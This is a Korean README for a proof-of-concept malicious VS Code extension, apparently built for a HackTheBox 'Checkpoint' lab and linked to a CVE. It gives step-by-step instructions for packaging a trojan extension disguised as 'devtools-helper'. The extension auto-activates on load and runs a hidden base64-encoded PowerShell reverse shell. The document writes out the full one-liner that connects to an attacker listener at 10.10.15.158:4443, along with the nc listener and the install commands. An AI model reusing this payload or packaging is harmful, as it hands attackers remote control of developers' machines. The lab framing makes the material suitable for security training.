
PoC for CVE-2025-55319
참고: CVE-2025-55319
HTB "Checkpoint" 챌린지를 위한 개념 증명 VS Code (.vsix) 확장 프로그램입니다. 설치되면 확장 프로그램이 자동으로 활성화되어 공격자에게 숨겨진 PowerShell 리버스 셸을 생성합니다.
⚠️ 승인된 사용만 가능합니다. 이는 CTF/랩 아티팩트입니다. 본인이 소유하거나 명시적으로 테스트가 승인된 머신(예: HTB 대상 박스)에만 배포하십시오.
extension/package.json — 확장 프로그램 매니페스트. "activationEvents": ["*"]를 사용하여 VS Code가 로드되는 즉시 사용자 상호작용 없이 실행되도록 합니다.extension/extension.js — activate() 시, -WindowStyle Hidden -NoProfile 옵션으로 base64로 인코딩된 PowerShell 페이로드를 실행하여 조용한 리버스 셸을 만듭니다.[Content_Types].xml — OpenXML 콘텐츠 유형 매니페스트로, 폴더를 유효한 .vsix 패키지로 압축할 수 있게 합니다..
├── [Content_Types].xml # VSIX 콘텐츠 유형 매니페스트
└── extension/
├── package.json # 확장 프로그램 매니페스트 ("*"에서 활성화)
└── extension.js # 리버스 셸 페이로드
공격 박스를 가리키는 base64 (UTF-16LE) PowerShell 리버스 셸을 생성합니다:
LHOST=10.10.15.158
LPORT=4443
PS="\$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$sb=([text.encoding]::ASCII).GetBytes(\$r+'PS> ');\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()}"
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0
출력을 extension/extension.js의 YOUR_BASE64_PAYLOAD_HERE에 붙여넣습니다:
const payload = '<base64-blob-here>'
nc -lvnp 4443
.vsix는 extension/ 폴더와 루트에 매니페스트 파일을 포함한 ZIP 파일입니다:
# 이 디렉토리에서 실행
zip -r devtools-helper.vsix extension "[Content_Types].xml"
대상이 확장 프로그램을 설치하도록 합니다. 방법:
code --install-extension devtools-helper.vsix··· 메뉴 → VSIX에서 설치…다음 VS Code 실행 시 (또는 설치 직후), * 활성화 이벤트가 발생하고 페이로드가 실행되어 리스너가 셸을 받습니다.
$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.15.158] from ...
PS>
완료 후 대상에서 확장 프로그램을 제거합니다:
code --uninstall-extension devtools.devtools-helper
extension.js를 조정하세요.os가 extension.js에 임포트되어 있지만 사용되지 않습니다. Linux/macOS 대상을 지원하기 위해 os.platform()으로 분기하려면 유용합니다.package.json의 version을 높이세요.